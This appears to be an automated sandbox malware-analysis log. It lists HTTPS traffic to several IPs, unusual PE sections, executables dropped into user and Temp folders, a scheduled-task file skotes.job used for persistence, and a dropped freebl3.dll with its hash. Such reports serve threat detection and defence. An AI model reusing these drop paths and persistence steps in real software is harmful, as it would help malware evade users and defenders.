Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50062 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name:
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: .idata
Source: 923e9bc10d.exe.11.dr	Static PE information: section name:
Source: 923e9bc10d.exe.11.dr	Static PE information: section name: .rsrc
Source: 923e9bc10d.exe.11.dr	Static PE information: section name: .idata
Source: 923e9bc10d.exe.11.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name: .idata
Source: e41fd24755.exe.11.dr	Static PE information: section name:
Source: e41fd24755.exe.11.dr	Static PE information: section name: .idata
Source: random[1].exe0.11.dr	Static PE information: section name:
Source: random[1].exe0.11.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.11.dr	Static PE information: section name: .idata
Source: random[1].exe0.11.dr	Static PE information: section name:
Source: d357e68128.exe.11.dr	Static PE information: section name:
Source: d357e68128.exe.11.dr	Static PE information: section name: .rsrc
Source: d357e68128.exe.11.dr	Static PE information: section name: .idata
Source: d357e68128.exe.11.dr	Static PE information: section name:
Source: random[1].exe1.11.dr	Static PE information: section name:
Source: random[1].exe1.11.dr	Static PE information: section name: .idata
Source: 46218a4a07.exe.11.dr	Static PE information: section name:
Source: 46218a4a07.exe.11.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8162C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,		0_2_6C8162C0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_0020CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,		11_2_0020CB97

Source: C:\Users\user\DocumentsDGCFHIDAKE.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69AC60	0_2_6C69AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76AC30	0_2_6C76AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C756C00	0_2_6C756C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68ECC0	0_2_6C68ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EECD0	0_2_6C6EECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75ED70	0_2_6C75ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BAD50	0_2_6C7BAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81CDC0	0_2_6C81CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C818D20	0_2_6C818D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C694DB0	0_2_6C694DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C726D90	0_2_6C726D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72EE70	0_2_6C72EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C770E20	0_2_6C770E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69AEC0	0_2_6C69AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C730EC0	0_2_6C730EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C716E90	0_2_6C716E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C752F70	0_2_6C752F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FEF40	0_2_6C6FEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D0F20	0_2_6C7D0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696F10	0_2_6C696F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76EFF0	0_2_6C76EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690FE0	0_2_6C690FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D8FB0	0_2_6C7D8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69EFB0	0_2_6C69EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C764840	0_2_6C764840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E0820	0_2_6C6E0820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71A820	0_2_6C71A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7968E0	0_2_6C7968E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C8960	0_2_6C6C8960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E6900	0_2_6C6E6900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7AC9E0	0_2_6C7AC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C49F0	0_2_6C6C49F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7509B0	0_2_6C7509B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7209A0	0_2_6C7209A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74A9A0	0_2_6C74A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70CA70	0_2_6C70CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C748A30	0_2_6C748A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73EA00	0_2_6C73EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70EA80	0_2_6C70EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C796BE0	0_2_6C796BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C730BA0	0_2_6C730BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A8460	0_2_6C6A8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71A430	0_2_6C71A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F4420	0_2_6C6F4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72A4D0	0_2_6C72A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D64D0	0_2_6C6D64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BA480	0_2_6C7BA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C730570	0_2_6C730570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F2560	0_2_6C6F2560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D8550	0_2_6C7D8550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E8540	0_2_6C6E8540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C794540	0_2_6C794540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71E5F0	0_2_6C71E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75A5E0	0_2_6C75A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6845B0	0_2_6C6845B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EC650	0_2_6C6EC650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EE6E0	0_2_6C6EE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72E6E0	0_2_6C72E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B46D0	0_2_6C6B46D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C710700	0_2_6C710700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BA7D0	0_2_6C6BA7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DE070	0_2_6C6DE070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C758010	0_2_6C758010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75C000	0_2_6C75C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76C0B0	0_2_6C76C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A00B0	0_2_6C6A00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C688090	0_2_6C688090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8140	0_2_6C6F8140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C706130	0_2_6C706130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C774130	0_2_6C774130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6901E0	0_2_6C6901E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C718260	0_2_6C718260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728250	0_2_6C728250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8162C0	0_2_6C8162C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C768220	0_2_6C768220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75A210	0_2_6C75A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75E2B0	0_2_6C75E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7622A0	0_2_6C7622A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C726370	0_2_6C726370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D2370	0_2_6C7D2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C692370	0_2_6C692370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7AC360	0_2_6C7AC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698340	0_2_6C698340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C702320	0_2_6C702320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E43E0	0_2_6C6E43E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C23A0	0_2_6C6C23A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EE3B0	0_2_6C6EE3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693C40	0_2_6C693C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B9C40	0_2_6C7B9C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A1C30	0_2_6C6A1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C751CE0	0_2_6C751CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CDCD0	0_2_6C7CDCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72FC80	0_2_6C72FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F3D00	0_2_6C6F3D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C761DC0	0_2_6C761DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C683D80	0_2_6C683D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D9D90	0_2_6C7D9D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7EBE70	0_2_6C7EBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79DE10	0_2_6C79DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B3EC0	0_2_6C6B3EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C815E60	0_2_6C815E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C813FC0	0_2_6C813FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C5F20	0_2_6C6C5F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C685F30	0_2_6C685F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E7F20	0_2_6C7E7F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73BFF0	0_2_6C73BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7ADFC0	0_2_6C7ADFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B1F90	0_2_6C6B1F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6ED810	0_2_6C6ED810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76F8F0	0_2_6C76F8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D8E0	0_2_6C69D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C38E0	0_2_6C6C38E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7EB8F0	0_2_6C7EB8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72F8C0	0_2_6C72F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70F960	0_2_6C70F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74D960	0_2_6C74D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C745920	0_2_6C745920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DF900	0_2_6C7DF900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7279F0	0_2_6C7279F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F59F0	0_2_6C6F59F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7299C0	0_2_6C7299C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C99D0	0_2_6C6C99D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C761990	0_2_6C761990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A1980	0_2_6C6A1980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78DA30	0_2_6C78DA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C731A10	0_2_6C731A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CFA10	0_2_6C6CFA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C691AE0	0_2_6C691AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76DAB0	0_2_6C76DAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C819A50	0_2_6C819A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76FB60	0_2_6C76FB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DBB20	0_2_6C6DBB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D7BF0	0_2_6C6D7BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C759BB0	0_2_6C759BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E9BA0	0_2_6C6E9BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C775B90	0_2_6C775B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C681B80	0_2_6C681B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8114A0	0_2_6C8114A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C779430	0_2_6C779430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71D410	0_2_6C71D410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6914E0	0_2_6C6914E0
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Code function: 9_2_00738860	9_2_00738860
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Code function: 9_2_00737049	9_2_00737049
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Code function: 9_2_007378BB	9_2_007378BB
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Code function: 9_2_007331A8	9_2_007331A8
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Code function: 9_2_006F4B30	9_2_006F4B30
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Code function: 9_2_00732D10	9_2_00732D10
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Code function: 9_2_006F4DE0	9_2_006F4DE0
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Code function: 9_2_00727F36	9_2_00727F36
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Code function: 9_2_0073779B	9_2_0073779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00238860	10_2_00238860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00237049	10_2_00237049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_002378BB	10_2_002378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_002331A8	10_2_002331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_001F4B30	10_2_001F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00232D10	10_2_00232D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_001F4DE0	10_2_001F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00227F36	10_2_00227F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_0023779B	10_2_0023779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_001FE530	11_2_001FE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00216192	11_2_00216192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00238860	11_2_00238860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_001F4B30	11_2_001F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00232D10	11_2_00232D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_001F4DE0	11_2_001F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00210E13	11_2_00210E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00237049	11_2_00237049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_002331A8	11_2_002331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00211602	11_2_00211602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_0023779B	11_2_0023779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_002378BB	11_2_002378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00213DF1	11_2_00213DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00227F36	11_2_00227F36

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
